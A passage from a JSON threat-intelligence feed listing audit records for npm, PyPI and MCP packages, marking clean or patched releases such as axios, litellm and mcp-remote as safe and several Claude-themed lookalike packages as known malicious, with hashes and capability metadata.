plain-crypto-js.", "affected": [ { "package": { "ecosystem": "npm", "name": "axios" }, "versions": [ "1.14.0" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.npmjs.com/package/axios/v/1.14.0" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0101/" } ], "database_specific": { "target": "npm:axios@1.14.0", "kind": "package", "verdict": "no_known_bad", "ioc": "npm:axios@1.14.0 (clean release prior to 1.14.1 compromise)", "artifact_sha256": "ba5e48f0a5b079648766ee36ec7146499667c80616b1e4465f400a4ab1a9fce8", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "caller-supplied HTTP/HTTPS URLs" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_github_actions_provenance" }, "license": "CC-BY-4.0", "record_digest": "sha256:b52f26e0f0465861e9e7bface2324e99f8a57a29daac82b82ba02650ad5b8bf3", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0102", "modified": "2026-04-01T10:00:00Z", "published": "2026-04-01T10:00:00Z", "summary": "Verified remediated release of axios following revocation of compromised maintainer credentials and removal of plain-crypto-js@4.2.1.", "affected": [ { "package": { "ecosystem": "npm", "name": "axios" }, "versions": [ "1.14.2" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.npmjs.com/package/axios/v/1.14.2" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0102/" } ], "database_specific": { "target": "npm:axios@1.14.2", "kind": "package", "verdict": "no_known_bad", "ioc": "npm:axios@1.14.2 (remediated release)", "artifact_sha256": "e1fcc8bf4ddba7bc94ce3b1f5bf85deb7551f701c6cc5ea8839085c1118bacf2", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "caller-supplied HTTP/HTTPS URLs" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_github_actions_slsa" }, "license": "CC-BY-4.0", "record_digest": "sha256:f036c75acdcf743c1e06bc400b108fedd8eb92cb9ebaa97cacb1a3b3f7bc0556", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0103", "modified": "2026-03-25T10:00:00Z", "published": "2026-03-25T10:00:00Z", "summary": "Verified clean PyPI wheel of LiteLLM prior to the March 24, 2026 TeamPCP compromise. Contains zero .pth startup files in wheel archive.", "affected": [ { "package": { "ecosystem": "pypi", "name": "litellm" }, "versions": [ "1.82.6" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://pypi.org/project/litellm/1.82.6/" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0103/" } ], "database_specific": { "target": "pypi:litellm==1.82.6", "kind": "package", "verdict": "no_known_bad", "ioc": "pypi:litellm==1.82.6 (clean release prior to 1.82.7)", "artifact_sha256": "484f40708331f2675fbd097c2f9999ff7046c64fd7de444ba24d15ceb69e7a2d", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [ "OPENAI_API_KEY (configured provider keys)" ], "net_egress": [ "configured LLM provider endpoints" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_berriai_release" }, "license": "CC-BY-4.0", "record_digest": "sha256:29085ec49670533a196f625b09a31d7274cf106ea898b42892f766be89aeaf53", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0104", "modified": "2026-03-25T14:00:00Z", "published": "2026-03-25T14:00:00Z", "summary": "Verified clean PyPI release of LiteLLM published after PyPI token rotation and removal of litellm_init.pth.", "affected": [ { "package": { "ecosystem": "pypi", "name": "litellm" }, "versions": [ "1.82.9" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://pypi.org/project/litellm/1.82.9/" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0104/" } ], "database_specific": { "target": "pypi:litellm==1.82.9", "kind": "package", "verdict": "no_known_bad", "ioc": "pypi:litellm==1.82.9 (remediated release)", "artifact_sha256": "d09b0194668d26ba30895728b58da2a97d1eac5c9c3c0932454efecbc0e60209", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [ "OPENAI_API_KEY (configured provider keys)" ], "net_egress": [ "configured LLM provider endpoints" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_trusted_publisher_oidc" }, "license": "CC-BY-4.0", "record_digest": "sha256:5e89a0f1601e0172b7f9ecf8eedbf037a1caaecf5f5a8ff4a4a178e6b4fb91a1", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0105", "modified": "2025-09-27T10:00:00Z", "published": "2025-09-27T10:00:00Z", "summary": "Verified build of postmark-mcp prior to the 1.0.16 covert BCC injection. Sends email solely to caller-specified recipients via api.postmarkapp.com.", "affected": [ { "package": { "ecosystem": "npm", "name": "postmark-mcp" }, "versions": [ "1.0.15" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.npmjs.com/package/postmark-mcp/v/1.0.15" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0105/" } ], "database_specific": { "target": "npm:postmark-mcp@1.0.15", "kind": "mcp", "verdict": "no_known_bad", "ioc": "npm:postmark-mcp@1.0.15 (clean release prior to 1.0.16 BCC backdoor)", "artifact_sha256": "9212232242f534ec9f75ae1bbdda4b688ca8b06e4274735c1704b73a3eb427df", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [ "POSTMARK_SERVER_TOKEN" ], "net_egress": [ "api.postmarkapp.com" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "email:send" ], "obfuscation": [], "provenance": "verified_source_diff" }, "license": "CC-BY-4.0", "record_digest": "sha256:a5469a25ed8c7cdfe0f17ea2fcdfc1e8ade31e1960e6c57beab1984540339dca", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0106", "modified": "2026-01-15T10:00:00Z", "published": "2026-01-15T10:00:00Z", "summary": "Official reference MCP filesystem server. Enforces directory allowlist passed via CLI arguments; contains no network egress or install hooks.", "affected": [ { "package": { "ecosystem": "npm", "name": "@modelcontextprotocol/server-filesystem" }, "versions": [ "2026.1.14" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://github.com/modelcontextprotocol/servers" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0106/" } ], "database_specific": { "target": "npm:@modelcontextprotocol/server-filesystem@2026.1.14", "kind": "mcp", "verdict": "no_known_bad", "ioc": "npm:@modelcontextprotocol/server-filesystem@2026.1.14", "artifact_sha256": "e40b9b6ddc886fb18579fcc3ea19dfb6bc9260b3ea9ab568fa8b30a83ff6895f", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [ "explicitly passed CLI allowlist directories only" ], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_official_mcp_org" }, "license": "CC-BY-4.0", "record_digest": "sha256:d69e72a641d991eabdc7b29160342271ff089c48af6d6ada267007b5b4c8dbd0", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0107", "modified": "2025-07-01T12:00:00Z", "published": "2025-07-01T12:00:00Z", "summary": "Patched release of Official MCP Inspector enforcing cryptographic session token authentication and Origin header validation on localhost proxy.", "affected": [ { "package": { "ecosystem": "npm", "name": "@modelcontextprotocol/inspector" }, "versions": [ "0.14.1" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://github.com/modelcontextprotocol/inspector/releases/tag/0.14.1" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0107/" } ], "database_specific": { "target": "npm:@modelcontextprotocol/inspector@0.14.1", "kind": "mcp", "verdict": "no_known_bad", "ioc": "npm:@modelcontextprotocol/inspector@0.14.1 (patched for CVE-2025-49596)", "artifact_sha256": "0efce9689d197bd9eea6f928149d767ae1197b0c672654c0532a015b2acb72d5", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "127.0.0.1:6277 (authenticated session token required)" ], "proc_exec": [ "developer-initiated MCP stdio target" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_official_mcp_org" }, "license": "CC-BY-4.0", "record_digest": "sha256:1c52d5d226e0820348343584a2623f21e5670c12de01e78c6939f887a1bf0f52", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0108", "modified": "2025-07-10T12:00:00Z", "published": "2025-07-10T12:00:00Z", "summary": "Patched release of mcp-remote sanitizing OAuth authorization_endpoint URLs to strictly enforce https:///http:// schemes and prevent shell command injection.", "affected": [ { "package": { "ecosystem": "npm", "name": "mcp-remote" }, "versions": [ "0.1.16" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.npmjs.com/package/mcp-remote/v/0.1.16" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0108/" } ], "database_specific": { "target": "npm:mcp-remote@0.1.16", "kind": "mcp", "verdict": "no_known_bad", "ioc": "npm:mcp-remote@0.1.16 (patched for CVE-2025-6514)", "artifact_sha256": "5fc75356ff6039eec434a5f6b493a47ed7d658a22fa8a2c989c743db6618e9a2", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "configured remote MCP server HTTPS endpoint" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "oauth2:pkce_flow" ], "obfuscation": [], "provenance": "verified_patched_release" }, "license": "CC-BY-4.0", "record_digest": "sha256:b657c4b7be0eb823f318c5a4c9929706b67a6eaaed5725d59c21f389fe467b78", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0109", "modified": "2026-04-12T09:00:00Z", "published": "2026-04-12T09:00:00Z", "summary": "Patched release of MCPJam Inspector binding strictly to 127.0.0.1 with mandatory bearer token authentication.", "affected": [ { "package": { "ecosystem": "npm", "name": "@mcpjam/inspector" }, "versions": [ "0.4.3" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23744" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0109/" } ], "database_specific": { "target": "npm:@mcpjam/inspector@0.4.3", "kind": "mcp", "verdict": "no_known_bad", "ioc": "npm:@mcpjam/inspector@0.4.3 (patched for CVE-2026-23744)", "artifact_sha256": "1ea9fdcd5b430c7effdcc0266bfd7a98bd152c804a8634e33d21727703fade1d", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "127.0.0.1:6274 (authenticated loopback only)" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_patched_release" }, "license": "CC-BY-4.0", "record_digest": "sha256:e75ec48ef8f5db19ce6974640eb77d065ae5025732421c5057c14ddeb0ce56b9", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0110", "modified": "2026-05-03T10:00:00Z", "published": "2026-05-03T10:00:00Z", "summary": "Patched release of Langflow requiring authentication and sandboxing on code validation endpoints.", "affected": [ { "package": { "ecosystem": "pypi", "name": "langflow" }, "versions": [ "1.0.15" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://pypi.org/project/langflow/1.0.15/" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0110/" } ], "database_specific": { "target": "pypi:langflow==1.0.15", "kind": "package", "verdict": "no_known_bad", "ioc": "pypi:langflow==1.0.15 (patched for CVE-2026-33017)", "artifact_sha256": "265c1fef99d049dca46bbf147a9acc17a95b769d70284e218da71527f3eae949", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "127.0.0.1:7860 (authenticated API)" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_patched_release" }, "license": "CC-BY-4.0", "record_digest": "sha256:d1c7098cab3662339dcfac3f549a74ebafe251ffa2139d79a8f119d8b228962c", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0111", "modified": "2026-03-23T12:00:00Z", "published": "2026-03-23T12:00:00Z", "summary": "Patched OpenClaw release remediating CVE-2026-25253 through CVE-2026-33579 with mandatory gateway token isolation, pairing nonce validation, and SSRF/path-traversal guards.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.3.12" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.12" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0111/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.3.12", "kind": "package", "verdict": "no_known_bad", "ioc": "gh:openclaw/openclaw@2026.3.12 (patched for all 9 Feb-Mar 2026 CVEs)", "artifact_sha256": "2dd746f4229a7360ad36662a3b669b619c62770a67ecf7410876bf72607a60ff", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "127.0.0.1:18789 (origin-checked + token-isolated)" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_patched_release" }, "license": "CC-BY-4.0", "record_digest": "sha256:f84b1855815b944ed25666caea52613cab7fd539b2610f2726df76f9e58d5484", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0112", "modified": "2026-10-25T07:10:00Z", "published": "2026-10-25T07:10:00Z", "summary": "Verified clean instructional skill from vercel-labs/agent-skills. Pure Markdown design guidelines with zero shell execution, zero credential prompts, and zero external script fetches.", "affected": [ { "package": { "ecosystem": "skillssh", "name": "vercel-labs/agent-skills/web-design-guidelines" }, "versions": [ "1.0.0" ] } ], "credits": [ { "name": "threat.cafe Baseline Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.skills.sh/audits" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0112/" } ], "database_specific": { "target": "skillssh:vercel-labs/agent-skills/web-design-guidelines", "kind": "skill", "verdict": "no_known_bad", "ioc": "skillssh:vercel-labs/agent-skills/web-design-guidelines", "artifact_sha256": "aef41ef857d343389667d5d641c1a86294a780d8a84b7d8ca456dc5c7e2b5940", "owasp_asi": [], "owasp_ast": [], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "verified_first_party_repo_pass_all_3_scanners" }, "license": "CC-BY-4.0", "record_digest": "sha256:d9875acb5d137bc84aa09a4e30db64f0a642af3a2db1b26d23c49caaa0e27c78", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0113", "modified": "2026-10-26T04:17:21Z", "published": "2026-10-26T04:17:21Z", "summary": "Malicious code in claudedashbord (PyPI)", "affected": [ { "package": { "ecosystem": "pypi", "name": "claudedashbord" }, "versions": [ "0.1.0" ] } ], "credits": [ { "name": "Amazon Inspector", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://osv.dev/vulnerability/MAL-2026-17195" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0113/" } ], "database_specific": { "target": "pypi:claudedashbord==0.1.0", "kind": "package", "verdict": "known_bad", "ioc": "pypi:claudedashbord==0.1.0", "artifact_sha256": "d47d7d037012483da936ab888e049e7510282f4c25095b173a07271d6af31fd1", "owasp_asi": [ "ASI04" ], "owasp_ast": [ "AST01" ], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "local_static_xray" }, "license": "CC-BY-4.0", "record_digest": "sha256:fbc53a666865ab1a20b1b4c9c531789f8b3a8888db4e9dfe08d6699fc66f70bd", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0114", "modified": "2026-10-26T04:17:21Z", "published": "2026-10-26T04:17:21Z", "summary": "Malicious code in claudedashbord (PyPI)", "affected": [ { "package": { "ecosystem": "pypi", "name": "claudedashbord" }, "versions": [ "0.1.1" ] } ], "credits": [ { "name": "Amazon Inspector", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://osv.dev/vulnerability/MAL-2026-17195" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0114/" } ], "database_specific": { "target": "pypi:claudedashbord==0.1.1", "kind": "package", "verdict": "known_bad", "ioc": "pypi:claudedashbord==0.1.1", "artifact_sha256": "c0fae16021863e89bd7c56b49740699f69c2f8ee159c53baf9c0cb77d256f153", "owasp_asi": [ "ASI04" ], "owasp_ast": [ "AST01" ], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "local_static_xray" }, "license": "CC-BY-4.0", "record_digest": "sha256:93147ceabebffd63e3f70372db69c9dceaf1e1fc4e0a192d0846a1a7dc1f7881", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0115", "modified": "2026-10-26T04:17:21Z", "published": "2026-10-26T04:17:21Z", "summary": "Malicious code in claudedashbord (PyPI)", "affected": [ { "package": { "ecosystem": "pypi", "name": "claudedashbord" }, "versions": [ "0.1.2" ] } ], "credits": [ { "name": "Amazon Inspector", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://osv.dev/vulnerability/MAL-2026-17195" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0115/" } ], "database_specific": { "target": "pypi:claudedashbord==0.1.2", "kind": "package", "verdict": "known_bad", "ioc": "pypi:claudedashbord==0.1.2", "artifact_sha256": "709ae4237fdae3efcbd3fda909c3b2caf7b3bc054756bdb69a6afa6f0a3ebbd8", "owasp_asi": [ "ASI04" ], "owasp_ast": [ "AST01" ], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "local_static_xray" }, "license": "CC-BY-4.0", "record_digest": "sha256:7d201b80503a7569d955f5ecfb8443569b902f00530d641cc571ea5742b79ed0", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0116", "modified": "2026-10-26T04:17:21Z", "published": "2026-10-26T04:17:21Z", "summary": "Malicious code in claudedashbord (PyPI)", "affected": [ { "package": { "ecosystem": "pypi", "name": "claudedashbord" }, "versions": [ "0.1.3" ] } ], "credits": [ { "name": "Amazon Inspector", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://osv.dev/vulnerability/MAL-2026-17195" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0116/" } ], "database_specific": { "target": "pypi:claudedashbord==0.1.3", "kind": "package", "verdict": "known_bad", "ioc": "pypi:claudedashbord==0.1.3", "artifact_sha256": "630ce5e485ec13f80dabc9a82c295fae3819dc5a3dbfd9e14cedb70e0646de70", "owasp_asi": [ "ASI04" ], "owasp_ast": [ "AST01" ], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "local_static_xray" }, "license": "CC-BY-4.0", "record_digest": "sha256:a078c38f47780b788714474a393a89a8a19528a2362b9dc795c64a9e02c7442f", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0117", "modified": "2026-10-26T10:17:11Z", "published": "2026-10-26T10:17:11Z", "summary": "Malicious code in claudeopuseni (PyPI)", "affected": [ { "package": { "ecosystem": "pypi", "name": "claudeopuseni" }, "versions": [ "0.1.0" ] } ], "credits": [ { "name": "Amazon Inspector", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://osv.dev/vulnerability/MAL-2026-18299" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0117/" } ], "database_specific": { "target": "pypi:claudeopuseni==0.1.0", "kind": "package", "verdict": "known_bad", "ioc": "pypi:claudeopuseni==0.1.0", "artifact_sha256": "230ed4e065ecc5d617080814b842a3f3b9d5af5aca34afa27b8409d6ad3ec385", "owasp_asi": [ "ASI04" ], "owasp_ast": [ "AST01" ], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "local_static_xray" }, "license": "CC-BY-4.0", "record_digest": "sha256:02c3c64d9909d457259f6afb46bd73be24bee531f5f4510f5546e7d226d4500a", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0118", "modified": "2026-10-26T10:17:11Z", "published": "2026-10-26T10:17:11Z", "summary": "Malicious code in claudeopuseni (PyPI)", "affected": [ { "package": { "ecosystem": "pypi", "name": "claudeopuseni" }, "versions": [ "0.1.1" ] } ], "credits": [ { "name": "Amazon Inspector", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://osv.dev/vulnerability/MAL-2026-18299" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0118/" } ], "database_specific": { "target": "pypi:claudeopuseni==0.1.1", "kind": "package", "verdict": "known_bad", "ioc": "pypi:claudeopuseni==0.1.1", "artifact_sha256": "5a447787571f4b7212a9408afe0f3dded36b9180e70b77bcd7f089f804ed182b", "owasp_asi": [ "ASI04" ], "owasp_ast": [ "AST01" ], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "local_static_xray" }, "license": "CC-BY-4.0", "record_digest": "sha256:1b61c1150c0834b5da603bdda3c8730f160255611e1def339ef949b53f8f885e", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0119", "modified": "2026-10-26T22:24:27Z", "published": "2026-10-26T22:24:27Z", "summary": "Malicious code in formatting-subtitles-for-claude (npm)", "affected": [ { "package": { "ecosystem": "npm", "name": "formatting-subtitles-for-claude" }, "versions": [ "1.0.1" ] } ], "credits": [ { "name": "Amazon Inspector", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://osv.dev/vulnerability/MAL-2026-18099" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0119/" } ], "database_specific": { "target": "npm:formatting-subtitles-for-claude@1.0.1", "kind": "package", "verdict": "known_bad", "ioc": "npm:formatting-subtitles-for-claude@1.0.1", "artifact_sha256": "3f484798584165aee86dae0d51a2729c51aeabc3499fec6dd6c1e5f88f1d4adb", "owasp_asi": [ "ASI04" ], "owasp_ast": [ "AST01" ], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "local_static_xray" }, "license": "CC-BY-4.0", "record_digest": "sha256:f9800b3ffe6f5ccef36448f707710aa893c53c4db67f3300203c4ef1e762da40", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0120", "modified": "2026-10-26T22:24:27Z", "published": "2026-10-26T22:24:27Z", "summary": "Malicious code in formatting-subtitles-for-claude (npm)", "affected": [ { "package": { "ecosystem": "npm", "name": "formatting-subtitles-for-claude" }, "versions": [ "1.0.0" ] } ], "credits": [ { "name": "Amazon Inspector", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://osv.dev/vulnerability/MAL-2026-18099" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0120/" } ], "database_specific": { "target": "npm:formatting-subtitles-for-claude@1.0.0", "kind": "package", "verdict": "known_bad", "ioc": "npm:formatting-subtitles-for-claude@1.0.0", "artifact_sha256": "22e7f5320c669b04ace21d119d34d8b613fc1296b51fefb4c43d66c8bf207ed6", "owasp_asi": [ "ASI04" ], "owasp_ast": [ "AST01" ], "rules_matched": [], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "local_static_xray" }, "license": "CC-BY-4.0", "record_digest": "sha256:2627f2a0bf33f17470c111da10737a6741d8b79d16b247e0181ae12c808ade95", "release_signature_url": "https://threat.cafe/feed.json.sig" } } ] }